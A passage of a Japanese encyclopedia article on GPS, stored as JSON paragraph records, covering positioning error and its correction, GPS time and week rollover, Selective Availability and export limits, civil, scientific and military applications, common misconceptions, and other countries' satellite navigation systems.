"paragraph_id": 23,
"tag": "p",
"text": "下記のうち誤差要因については、GPS受信機である程度推定し表示することができる。GPS受信機がある円内にいる確率が50%以上であるところの円を、CEP(Circular Error Probability)とよぶ。地図を表示する場合は、この円も同時に表示し利用者への参考としているものが多い。",
"title": "精度"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "また、基本的にGPSでの測位は平面座標に比べて高度の計算精度に誤差が大きい。",
"title": "精度"
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{
"paragraph_id": 25,
"tag": "p",
"text": "GPS衛星からGPS受信機まで電波が達する経路では、電離圏や対流圏での電波特性の変化により、若干の電波伝播速度の遅延が生じる場合がある。これによって、計算で定めたはずの空間上の一点の信頼性が損なわれる。一般的に受信機からみてGPS衛星が低仰角の場合、この誤差は増加する傾向がある。これは大気中を電波が伝播するときの遅延による影響が、高仰角(薄い大気を通過する)よりも低仰角(厚い大気を通過する)で大きいからである。またそもそも低仰角衛星からの信号は減衰が大きい。",
"title": "精度"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "このための補正手段として、正確な時計をもち座標のわかっている固定局を設置し、GPS受信データから計算した位置と固定局の位置の差から、精度を上げるなどの仕組み(ディファレンシャルGPS、Differential GPS、DGPS)も確立されている。DGPSの補正信号は、かつてFM放送の利用されていない帯域で送信するシステム(JFN系列の放送局で実施)があり、カーナビなどでの利用には有用であった(1997年5月〜2008年3月)。また、WAASやMSAS(MTSATを利用した日本の運用)では、静止軌道の衛星からDGPSの補正信号を各受信機に送信している(WAAS/MSAS静止衛星自体もGPS衛星同様、測位にも使われる)。",
"title": "精度"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "このほか、ビル街や谷山ではマルチパス(ひとつの衛星からひとつの受信機までの電波経路が反射によって多数存在すること。旧アナログテレビ放送におけるゴースト現象同様)により、信号の時間差が生じたりS/N比が低下し、精度が落ちる。",
"title": "精度"
},
{
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"text": "通常日本(本州)では、理想的に空がひらけている場合、受信可能な衛星は6〜10個程度である。位置の計算に最低必要な4個より多い衛星がみえている場合は、複数の衛星からの情報で測位精度を向上させることができる。それぞれの衛星からの信号強度(S/N比)を観測したりDGPS情報から衛星ごとの信頼度を与え、また4つ組みの取り方をなるべく計算誤差が大きく出ないように取ったり、さらに複数の測位結果の信頼度が低いものを棄却・平均化するなどの方法がとられる。",
"title": "精度"
},
{
"paragraph_id": 29,
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"text": "受信可能な衛星の個数・配置により、電波伝播の誤差が大きく利いてくる場合がある。原理での三脚での喩えを用いると、ある程度伸び縮みする三脚の頭が動く範囲(推定誤差範囲)は、三脚の脚の開き具合によって異なる。計算に用いる衛星のみかけの位置が接近していると、計算に用いる推定誤差が大きくなる(脚を閉じた三脚ではぐらつきが大きい)。また計算に用いる衛星が一直線に並んでいたりする場合は、ある方向への信頼度が大きく低下する(三脚の脚が縦に並んでいると横方向にぐらつきが大きい)。",
"title": "精度"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "GPSは原理的には最低4つの人工衛星が見えていることが必要であるが、空が開けていない場合などは、補助手段で精度を向上させることも可能である。当初のGPSの仕様に無い現象を使う方法(ドップラーシフトなど)、想定された定数を使う方法(地表や地図上の道路を移動していると仮定する)、他のセンサー類を使う方法(気圧計など)がある。",
"title": "精度"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "まず、GPS受信機内部の時計が正確な時刻に校正された後の一定時間は、時刻情報は内部の時計を用いて3つの衛星で3次元の位置を知ることができる(#原理参照)。しかし、もともとその時計が持っている誤差のため、これも数分で信頼できない時刻になってしまう。",
"title": "精度"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "また、地球の形が分かっており、地表(あるいは一定の高度)を移動していると考えられる場合、さらに1つの衛星からの距離を省略しても位置は求められる。地球の形(平均海面)は球体ではなく赤道付近が膨らんだ回転楕円体(扁球)であることは知られているが、これをよく近似した3次元曲面(WGS84など)を多くのGPS受信機がデータとして持っている。",
"title": "精度"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "さらに受信機のドップラーシフトを観測すると、C/A信号の1ビット送信時間未満の距離の観測もできる。衛星と受信機の距離が接近または乖離している場合、ドップラー効果により受信周波数の上昇または低下(これは信号の位相変化として観測される)がおきる。これを用いれば、受信機が等速直線運動しかしていないか、それ以外の方向に動いたかも推定できる(1つないし2つの衛星からの信号でもある程度の位置は推定できる)。なお長時間の位相観測によりC/A信号の精度限界以上に精度を上げる方法は、測地用のGPS受信機などでも用いられている。",
"title": "精度"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "またカーナビやスマートフォンなどでは、GPSで定期的に位置を決定し、ジャイロ・加速度センサから得られる情報で、自律位置推定している物もある。この場合GPS信号を受信できない状態(トンネル内に入ったとき)も、ある程度の位置は分かる。航空機の慣性航法装置と同様であるが、精度は低いため、複雑な移動や時間経過によって位置の信頼性は落ちる。",
"title": "精度"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "現在高度の情報が要求される登山用のGPS受信機では、気圧高度計で高度方向の位置推定の補助手段としたり、磁気コンパスを併用するものもある。空間の (x, y, z) 方向の誤差は均等であるが、前述のようにGPS受信機の多くは地表に沿って動くことを想定しており、地表に沿った方向の位置推定の精度を上げる代わりに高度方向の位置推定を犠牲にしているためである。詳細な地形図情報とGPS信号を組み合わせて現在高度を求めるものもあるが、階層には対応できない。",
"title": "精度"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "モバイル機器に搭載のGPSでは、携帯電話の基地局の位置情報(精度数百m〜数km程度)を補助情報として用いることができる。このため初期捕捉を速くしたり、高速移動時に衛星を見失わないための補助手段とすることができる。他にネットワーク通信を利用して、位置演算やGPS情報等を補正し高速化を図っている。(補助GPS)",
"title": "精度"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "GIS情報を補助手段として用いる場合もある。カーナビでは地図を搭載しているため、道路情報と照らし合わせることで誤差を修正しているものもある(車は道路以外を走れない・水面を走れない、などという制約を利用している)。",
"title": "精度"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "GPS受信機に経緯度を直接入力してナビゲーションする場合、測地系を整合させる必要がある。(例えば、WGS84もしくは日本測地系を選択)",
"title": "精度"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "受信機側での信号処理には、さまざまな要因によるものが含まれるが、高速で運動するGPS衛星の運動による発振信号の時間の遅れと、地球の重力場による時間の遅れである。後者は、衛星軌道の擾乱や信号到達距離の湾曲、発振信号の時間の遅れなどを引き起こす。 地上の時計は、GPS衛星の時計よりわずかに遅れるので、GPS衛星の時計は、これを補正するため遅く進むように設計 されている。この時間の遅れは相対論効果を考慮した計算結果と高い精度で一致しており、身近な相対性理論効果の実証の一つとして挙げられる。",
"title": "精度"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "GPS時刻(GPSの基準時刻系)はUTCの1980年1月6日午前0時(TAI−19秒)を開始時刻(基準)とし、その後は、UTCのような閏秒調整は施されない。したがって、現在、GPS時刻はUTCから18秒進んでいる(2020年1月現在)。",
"title": "精度"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "しかし、このGPS時刻とUTCとの差はGPS信号の中に含まれているため、受信機ではこの差を補正してUTC時刻を出力することができる。このUTCとのオフセット信号は255(8ビット)の値まで持てるため現状の閏秒挿入のペースであれば2300年頃まで問題ないと考えられる。",
"title": "精度"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "GPS時刻では日時を、起点から○週○秒経過と、「週」と「秒」だけで表現する。この「週」データが10ビットで管理されているため、1023までしかカウントできず、1024週目は0に戻る。",
"title": "精度"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "そのため、0週目で経過秒数が0秒の場合、これが1980年1月6日なのか1999年8月22日なのか2019年4月7日なのかをGPSデータだけでは区別することができず、受信機側で適切に解釈しなければいけない。ソフトウェアの更新で対応されることもあるが、10年以上前の製品に対しては更新が提供されないことも多く、約20年前の日付に戻ってしまうことを回避する手段がない場合もある。",
"title": "精度"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "将来は、GPSの衛星システムを更新する「GPS近代化」により週データに13ビット割り当てられるようになり、ロールオーバーの発生は8192週(約157.5年)に1回に改善される。この場合、最初のロールオーバーは2137年1月6日頃の予定である。(閏秒の影響により正確な時刻は未定)",
"title": "精度"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "対共産圏輸出統制委員会(ココム)規制の名残で高度18,000 m (59,000 ft)以上、速度1,900 km/h以上では大陸間弾道ミサイルのような用途への搭載を防ぐために使用できない。",
"title": "精度"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "また、慣性航法装置を複合したGPS端末には規制がある。",
"title": "精度"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "近年では、ワッセナー・アレンジメントがココム規制を継承している。",
"title": "精度"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "ただし、専用チップを用いずソフトウェア無線、FPGAやオープンソースのプログラムを用いる機器も製作・販売されており、これらの機器を使用することで規制を回避できる。例として、GNSS-SDRやRTKLIBとしたオープンソース・ソフトウェアがあり、地デジ用USBチューナを使って取得したGPS信号をパソコン上で解析して測位することさえ可能である。",
"title": "精度"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "1990年から2000年までは、アメリカ軍の軍事上の理由(敵軍に利用されることを防止する)で、C/Aコードにおいて民間GPS向けのデータに対して、故意に誤差データを加える操作(Selective Availability、略称 SA)が行われ、精度が100m程度に落とされていた。",
"title": "精度"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "SAが加えられていた時から、既にGPSは民生用として有用であることが知られていたため、2000年5月2日4時5分(協定世界時)から、アメリカ合衆国大統領ビル・クリントンは「GPS技術を広く役立てて欲しい」という主旨で、これを解除した。競合技術であるガリレオ(EUが主体となって推進している)が提案された理由のひとつに、GPSのSAによる誤差により、民生用で精度が上がらないということがあるが、これに対して優位を保ち続け、イニシアチブを取るというアメリカ合衆国連邦政府の意図も含まれている。また民間GPS機器の軍事転用により、調達コストを抑える目的もあると見られている。SA解除以降は、民間GPSでもC/Aコードの技術的な限界までの精度が得られるようになっている。",
"title": "精度"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "2000年以降は、米国の政策上の必要に応じて、有事があった際に特定地域で精度低下の措置がとられる可能性があるとされていた。しかし、ジョージ・W・ブッシュとアメリカ国防総省は2007年9月18日に、次世代GPS(GPS III)にはSA機能を搭載しない(正確には、「SAを持つ衛星を調達しない」)との大統領令を発表した。したがって、この決定が将来覆されない限り、SAの操作は永久に実施されないこととなった。",
"title": "精度"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "多くの天文観測設備では、天体追尾にGPSに同期させることで補正するクォーツ時計やルビジウム時計を用いている。このため、アメリカ合衆国が秘密裏にSAを加えようとしても、少なくともSAが加えられたこと自体はエラーとして検出される。",
"title": "精度"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "民生用GPS受信機は当初航空機、船舶、測量機器、登山用(携帯型)に利用されてきたが、その後は自動車(カーナビゲーション・システム、以下カーナビ)や携帯電話にも搭載されている。",
"title": "様々な用途"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "2018年現在では、ほぼ全ての携帯電話やスマートフォンにGPSが搭載されている。この種の製品では、地図情報・GIS情報をサーバ側にもつことにより詳細な最新の地図を提供したり現在地周辺の付加サービス を実現している。また情報を送信できないGPSと送受信機である携帯電話を組み合わせ、セキュリティ(児童保護や徘徊老人対策、犯罪者の監視等)への応用も拡がっている。",
"title": "様々な用途"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "GPSの測位情報を継続的に記録したトラッキング情報は、ランニング、登山、ツーリング等で活発に活用されている。",
"title": "様々な用途"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "デジタルカメラでは、撮影記録と共に画像ファイルのExifフィールドに自動的に撮影地の緯度・経度・時刻などが記録されるものもあり、スマートフォンで撮影した画像も撮影地点を自動で記録しているものがある。",
"title": "様々な用途"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "現在の携帯電話ではA-GPS(Assisted Global Positioning System)を利用してGPS信号を受信し難い場所でも携帯電話の基地局情報を参考として測位までの時間の短縮を行っているものが多い。GPSチップ・携帯電話搭載のプロセッサの能力が低かった時代は、GPS情報をホストサーバーに送り、緯度・経度・高度情報を携帯端末に送り返してもらうというシステムも存在した。",
"title": "様々な用途"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "また、警察、消防へ緊急連絡をした場合、通報を受けた側から発信者へGPS情報の送信を促し、現在位置の早期発見に繋げている。",
"title": "様々な用途"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "民間企業や官公庁ではGPS機能用いて人員や車両配備の効率化を図る利用法が進められており、各国の官公庁にもGPSを用いた公務員管理を導入する動きがある。",
"title": "様々な用途"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "その他、ノート型のPCやタブレット、携帯ゲーム機をカーナビとして使えるようにするGPSユニットとソフトも発売されている。なお単体のGPSユニットは、測位等はすべてユニット内で完結しており、NMEAなどの標準フォーマットで緯度・経度その他の情報を送り出すものが多い。PCやPDA本体ではこれを受信し、地図ソフトなどと組み合わせてカーナビ同様に使ったり、トラックの記録をすることができる。PCやPDAの接続も、かつてはシリアルポート接続やPCMCIA(PCカード)・CFカード規格が多かったが、現在はBluetoothで測位情報を本体に転送するものもある。",
"title": "様々な用途"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "船舶にとってGPSは重要な航法支援設備である。航空機同様、陸から離れたら目印をもたない海上において、遭難・衝突や座礁を免れるために、精度の良い航法支援システムを利用することは重要であった。そもそもGPSはロラン-Cに取って代わるためにつくられたシステムである。",
"title": "様々な用途"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "カーナビゲーションはGPSの実装において技術的に有利な応用である。自動車は安定した電源が供給でき、GPS用アンテナを良い位置に設置できる。携帯電話と比較して大型の装置が搭載できるため、詳細な地図情報を内蔵できる。",
"title": "様々な用途"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "また、速度規制取り締まりやシートベルト着装取り締まり等を頻繁に行っている場所の緯度・経度をデータとして持ち、その近辺で警告を発する機器も存在する(レーダー探知機の項を参照)。",
"title": "様々な用途"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "従来の航空機航法は、VOR・DMEなどの地上航法支援施設を用い、いわば電波の灯台への方位・距離を測定して現在位置を知る方法だった。これに対し、衛星が4個以上見えていればある程度の精度で絶対位置がわかるGPSは、航空機向けの測位方式であるとも言える。",
"title": "様々な用途"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "しかしながらGPS信号をそのまま航空航法に使用するには、測位の安全性・信頼性・精度等に問題がある。具体的には、低高度、特に精度がもっとも必要とされる着陸寸前の地形による遮蔽・マルチパス、機体の姿勢変更に伴いロックした衛星(測位に用いている衛星)が変化すること、一般にGPSによる測位では航空機にとって重要な高度方向の精度が緯度・経度方向の精度より低いこと(ただしこれは計算方法にもよる)、ジェット機などは高速移動するためドップラーシフト・衛星コンステレーションの時間的変化が無視できないこと、などである。",
"title": "様々な用途"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "ただし、大型機ではINS(慣性航法装置)や従来の測位方式などと併用すること、小型機ではVFR(有視界飛行方式)が主であることなどから、実際の運用では(制度上は認められていないものの)機長判断の参考として用いられている場合が多かった。",
"title": "様々な用途"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "こういった流れを受けて、また近年では航空機運航の高密度化により定められた航空路以外の経路を飛ぶための一手段として、GPS情報を航法に利用することが国際民間航空機関(ICAO)や国土交通省航空局(JCAB)でも検討されてきた。その成果として日本では、一部の空港の離着陸手順においてRNAV (GPS) 航法の実施が2007年9月27日より開始された。航空機はウェイポイントとよばれる架空の点を結ぶ線を経路とするように飛行する。従来のVOR/DME航法では、VOR/DMEの位置、あるいは1つまたは2つのVOR/DMEから一定の方位角・距離にある架空の点をウェイポイントとしていた。これに対しRNAV航法では、地上施設に拠らない自由な点をウェイポイントとして定めることができるため、飛行経路の短縮による運航時間の短縮、燃費の節約などが見込まれる。",
"title": "様々な用途"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "航空機での精度向上を一次目的とした、静止衛星型衛星航法補強システム(SBAS: Satellite Based Augmentation System)の運用が以下の各国で開始され、あるいは計画されている。",
"title": "様々な用途"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "SBASでは、GPS衛星の補正情報(特に高度情報の補正)や信頼性情報を送信し、またSBAS衛星自体も測位のためのひとつの衛星として働く。さらにSBAS衛星は静止軌道にあるため、中〜低緯度地方では天頂に近い高仰角でみえているのも有利な点である(北緯35度では仰角55度)。航空以外の分野でも、例えばビル街でのカーナビの精度向上にも役立つと考えられている。SBASを補助情報として用いることができるGPS受信機はすでにSBAS対応(WAAS対応)受信機として広く普及し始めている。",
"title": "様々な用途"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "日本のMSASについては、航空機でのRNAV運用に伴い、2007年9月27日から試験信号フラグ(MT0)が運用モード(MT2)となり、正式に供用開始となった。ただし初期のWAAS対応機など一部のSBAS対応受信機では、MSASの衛星番号を設定・処理できないため測位に利用できないものがある。",
"title": "様々な用途"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "航空航法にあっては、用途によって最低精度が定められていることがある。GPS衛星の配置や運用停止などの都合上、飛行中に航法が求める精度を満足できない空域がある場合は、その空域にてGPSを航法に用いることができない。そのような空域や時間帯を飛行前ないしは飛行中に予測することをRAIM予測と言う。RAIM予測の結果GPSに依存する航法が使用できない場合は、VORなどの他の航法に切り替える必要がある。",
"title": "様々な用途"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "科学技術分野では、もちろん国土の形状を明らかにしたり、cm単位で地球の動きを知り地震予知に役立てるなどの、いわばGPS本来の用途のほかに、トラッキングや時刻の高精度同期などにも利用されている。",
"title": "様々な用途"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "大型の渡り鳥にGPS発信機を装着して、その渡りの過程を追跡することに利用されている。山階鳥類研究所は絶滅が危惧されているアホウドリの繁殖活動を行っており、その一環として伊豆諸島の鳥島で生まれたアホウドリを聟島へ移住させて繁殖地の拡大を図っているが、そのうちの7羽にGPS発信機を装着してその後の足取りを追跡した。その中の1羽がカムチャッカ半島、アリューシャン列島、アラスカ湾、カナダ西海岸を経由してアメリカ・カリフォルニア州のサンフランシスコ沖に辿り着いていることが人工衛星による追跡で判明し、現地での写真撮影によりその個体が確認された。アホウドリの2万km以上におよぶ渡りの経路の詳細がGPSの技術により明らかになった。また、同じく追跡が困難な海洋生物にも装着して研究に役立てている。",
"title": "様々な用途"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "このほか、位置が既知の基地局で高精度にGPS測位を行い、その誤差情報からGPS電波伝播経路の大気の状態を知るGPS気象学なども実用化を目指して研究されている。",
"title": "様々な用途"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "GPS衛星搭載の原子時計からの時計情報も、科学分野を中心に広く活用されている。GPSの時計情報はGPS衛星に搭載されている原子時計の精度とほぼ一致し、クォーツ時計の精度よりもはるかに高い。そのため、野外で正確な時刻を知る必要がある場合や、複数点で時計情報を高精度で一致させる(同期する)ために用いられる。",
"title": "様々な用途"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "GPS本来の目的である位置決定とは異なる利用法であるが、特に地球科学や土木工学分野に大きな効果を与えている。地震を監視し震源を高精度に決定するためには、広範囲に多数設置された地震計すべての時計を秒未満の精度で一致させ、かつ数ヶ月から数年間にわたりその状態を維持する必要がある。そのために従来はJJYを同時に記録し時刻を記録していたり、各地震計に原子時計を接続する必要があり、費用負担が大きかった。しかしGPS受信機を接続することにより、GPS衛星からもたらされる高精度の時計情報を受信できるようになったため、すべての地震計を容易に時刻同期させることが可能となった。",
"title": "様々な用途"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "コンピュータの時刻をインターネットで高精度に同期させるプロトコルであるNTPサーバでは、大元となる超高精度のサーバ(stratum 0)は従来、構築が容易ではなかったが、GPS受信機との接続により、比較的容易にstratum 0サーバを構築できるようになった。この目的においてGPS受信機を使用する場合、時刻の同期成立時に1PPS(正確に1秒毎に発生するパルス)信号を生じる受信機を使用し、NTPサーバ本体の時刻をGPS受信機に同期させる実装が多い。",
"title": "様々な用途"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "窃盗や誘拐の特定の物や人物に対する犯罪を防止するために、GPSが活用されている。例えば、建設機械は高価な機械で野外に置いてあり、しかも開発途上国で需要が高いため、先進国で窃盗されることが多いが、製造企業がGPSで現在位置を報告する装置を一台ごとに組み込んだところ、窃盗された建機の位置を特定し、犯人が検挙された事例が報道され、建機の窃盗が減っている。",
"title": "様々な用途"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "また、児童に対する犯罪が社会的関心が高まる中で、保護者が児童の位置を管理し、誘拐など犯罪を防止するために、GPS付の携帯端末が販売されており、一部の携帯端末(mamorino等)は警備会社と提携して、問題行動があれば保護者に代わりに即応できる体制のサービスも提供されている。その応用で、GPS携帯端末を徘徊行動をする認知症患者や、一人暮らしもしくは持病のある高齢の親に持たせて、何かあった場合に位置を確認して親族が保護したり、警備員が駆けつけるサービス を利用して保護している家庭もある。それ以外に重要なモノを管理するために活用したり、児童や高齢者同様、成年男性や女性の居場所を探すために利用されている。しかし、これらの機能がストーカー犯罪に悪用されている事件も発生している。",
"title": "様々な用途"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "性犯罪者の再犯を防止するための電子監視が、アメリカ合衆国や、イギリス、フランスなどヨーロッパや大韓民国で既に導入されており、日本でも導入の検討がなされているが、人権蹂躙という指摘もある。",
"title": "様々な用途"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "2006年6月、警察庁は全国の警察に通達した運用要領の中で、GPSを使用した犯罪捜査実施状況を容疑者に伝えず、捜査書類にも記載しないなどと明記し、秘密保持の徹底を求めていたことが報道された。この中で、GPSを仕様した捜査の具体的な実施状況については、文書管理を含めて秘密保持を徹底することとし、「容疑者の取り調べではGPSを用いたことを明らかにしない」「捜査書類にはGPSの存在を推知させるような記載をしない」「事件広報の際はGPSを使用した捜査を実施したことを公にしない」ことを厳命していた。",
"title": "様々な用途"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "2023年5月10日、保釈された被告にGPS搭載端末を装着できる制度の新設を盛り込んだ改正刑事訴訟法が参議院本会議で可決、成立した。カルロス・ゴーン被告のレバノン逃亡事件を受けた措置で目的は海外逃亡防止に絞られており、実際の運用は限定的になる見込み。",
"title": "様々な用途"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "勿論、本来の目的である軍事用途においてもGPSは活用されている。湾岸戦争やイラク戦争では、アメリカ軍の地上部隊はGPSのおかげで、何の目印もない広大な砂漠での正確な進軍を可能にした。誘導爆弾もGPSを利用したタイプ(JDAMや、M982 エクスカリバーなど)が登場し、安価でレーザーによる誘導操作が不要である反面、命中精度でレーザーなどに劣る事や標的座標エラーによる誤爆の危険がつきまとう問題点がある。また無人航空機(ドローン)の自律運用においても大きな役割を果たしている。",
"title": "様々な用途"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "従来水晶振動子を用いて生成していたPLLの基準信号をGPSの受信信号に置き換えることにより、PLLの要素機能をほぼそのまま流用しながら、GPS信号とほぼ同等の精度および安定性を持つ高周波信号の発振回路を作ることが出来る。このような回路はGPSDOと呼ばれ、基準信号であるGPS信号と同じく時刻および周波数基準に使用されたり、QRSS等の超狭帯域無線通信(おおむね数Hz以下)の信号生成に用いられる。GPSの受信信号としては、時刻同期時に得られる1PPS信号を用いることが多い。",
"title": "様々な用途"
},
{
"paragraph_id": 85,
"tag": "p",
"text": "携帯電話(CDMA2000・WiMAX・TD-LTE)やPHSの基地局では、基地局間の同期にGPSタイミング基準信号(1PPS信号)を利用することが規格で定められている。これらの用途では、GPS由来の高精度の周波数が、周波数やサブキャリアの正確な分割に不可欠となっている。",
"title": "様々な用途"
},
{
"paragraph_id": 86,
"tag": "p",
"text": "GPSは現在地を明確にする場合に用いられることが多いため、移動する機器に装着されているが、以下に示す例はその逆である。",
"title": "様々な用途"
},
{
"paragraph_id": 87,
"tag": "p",
"text": "国土地理院は、日本列島のあらゆる地点にGPSを定期的に受信する電子基準点を設置し、地殻の変化を3次元的に詳細に観測することができる。2011年の東北地方太平洋沖地震(東日本大震災)では、1メートル以上の地盤沈降や、5メートル以上の水平移動が観測されている。",
"title": "様々な用途"
},
{
"paragraph_id": 88,
"tag": "p",
"text": "以下の言説は、すべて誤解である。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 89,
"tag": "p",
"text": "「GPS信号」とはGPS衛星が発している電波のことであり、受信機が発する信号は「GPS情報」である。 GPS衛星は、地球に向けて時報と発信元衛星の天体暦(軌道)情報を発しているのみの衛星である。GPS受信機はGPS衛星からの電波を受信して、GPS衛星それぞれとの距離を算出しているに過ぎない。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 90,
"tag": "p",
"text": "また、方位についてはGPSコンパスと呼ばれるような機能によって、ある程度離した二つ以上のアンテナによって受信したGPSの位相信号と、そのアンテナたちの相対的な位置関係から方位を算出することができる。しかし、その機能を実装していない多くの製品においては、ジャイロ機構や方位コンパスを使用していない場合、静止している受信機器の向いている方位を知ることはできない。なお、進行方向については移動しながら累積した複数の位置座標から、ある程度求める事が出来る。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 91,
"tag": "p",
"text": "GPS受信機は、基本的に送信機を保有していないため、位置情報をGPS衛星に通知するのは原理上そもそも不可能である。つまり、GPS受信機は受信するだけ、GPS衛星は送信するだけなのである。映画等で見られる「超小型GPS」と扱われるものは、その受信したGPS信号を何かしらの形で送信する機能まで有している必要があり、正確な位置を測位するには、上方から見やすい箇所に設置しなければならない。車両下部や梱包荷物内に取り付けたりすることは理想的ではなく、また建物内では窓等からのGPS信号を受信し、障害物の乱反射によって位置精度は大きく落ちてしまう。また、地下での測位はGPSだけでは不可能である。電波強度と衛星数の問題なので、受信機が小型高性能化しても解決できない。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 92,
"tag": "p",
"text": "日本の航空運送事業者の旅客機の機内では、GPS受信機の使用制限はない が、多くのGPS受信機は通信機器を併用しているため注意が必要である。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 93,
"tag": "p",
"text": "この誤解の元となった技術に、運輸業などの車両位置監視システムや、児童・徘徊老人のセキュリティシステムなどがあるが、これらではGPS受信機の位置情報を外部に通知するために、携帯電話回線等による別回線での通信を行っている。運輸される荷物にGPS受信器が装着されていることはなく、該当する荷物を搭載しているトラックの位置情報が提供されている。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 94,
"tag": "p",
"text": "2008年2月5日に岡山市で現金自動預け払い機(ATM)が盗まれた事件では、事件発生後約45分でGPSによって盗難ATMを発見するという成果を挙げている。この事例でも、機器に組み込まれた携帯電話モジュールで、警備会社への位置情報を通報をしていた。",
"title": "GPSにまつわる誤解"
},
{
"paragraph_id": 95,
"tag": "p",
"text": "GPSは、元来は米軍の軍用システムであり、米国政府の支配下にある。そのため、精度や可用性その他について、また他国や民間における利用に対して、種々の制限を受ける事が過去にもあり、また将来的にも有り得る。そのため、米国のシステム依存からの独立や、自身の利益に適合させる目的で、各国でも独自のシステムを保有、運用しようとする動きがみられる。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 96,
"tag": "p",
"text": "それでもGPSは、2010年台において世界中で最も普及している衛星航法システムであり、マルチGNSSを採用した利用者受信機でも、\"GPS\"が衛星測位システムの代名詞的に総称される場合もある。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 97,
"tag": "p",
"text": "各国でもGPSと同様、類似したシステムを運用開始している事から、従来GPSが独占してきた分野および用語は、「全地球衛星測位システム、全地球衛星航法システム(GNSS:Global Navigation Satellite System)」として一般化される事となった。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 98,
"tag": "p",
"text": "また、全地球にかぎらず日本の準天頂衛星システム(QZSS)、インドのインド地域航法衛星システム(IRNSS)などの地球的地域限定のシステムも構築されており、これらは全地球型システムと組み合わせて使用する事を想定している。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 99,
"tag": "p",
"text": "2020年頃までには代表的なGNSS(GPS、GLONASS、ガリレオ、北斗/Compass)がいずれも全地球的運用開始が見込まれる事から、「マルチGNSS」対応の受信機も開発、利用されている。2015年前後のスマートフォンはGPS/GLONASSマルチ対応の物が多い。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 100,
"tag": "p",
"text": "なお以下に列挙する各国のGNSSのほかにも、ナイジェリア、トルコなどにも他の衛星ナビゲーションシステムの開発の動きがある。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 101,
"tag": "p",
"text": "北斗1は、3機の衛星で構成される実験的な衛星測位システムで、中華人民共和国周辺でのみ使用される。北斗2は現在構築中で、完成時には35機の衛星で構成される「全地球測位システム」になる予定である。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 102,
"tag": "p",
"text": "旧ソ連は米国との対抗上、GPSと同様のGLONASS(グロナス)を構築しようとしたが必要な衛星を全て打上げる前にソ連が崩壊してしまい、予算の縮小から衛星打ち上げが頓挫した。ロシアになってから計画が再開され、2005年には再開後初の衛星を打ち上げ、2010年までに24基の衛星を打ち上げる予定とされる。2011年には全世界で測位可能となり、現在は測位精度を高めるためにGLONASSとGPSを併用する受信機が登場している(GLONASS#受信機も参照のこと)。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 103,
"tag": "p",
"text": "GPSを使用する上で米国に頼ることを嫌ったEUは独自のGalileo(ガリレオ)を計画、中華人民共和国も計画に参加している(後に離脱)。2005年にはロシアのソユーズロケットを用いて最初のジオベ衛星を打ち上げた。2016年末に全地球運用開始。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 104,
"tag": "p",
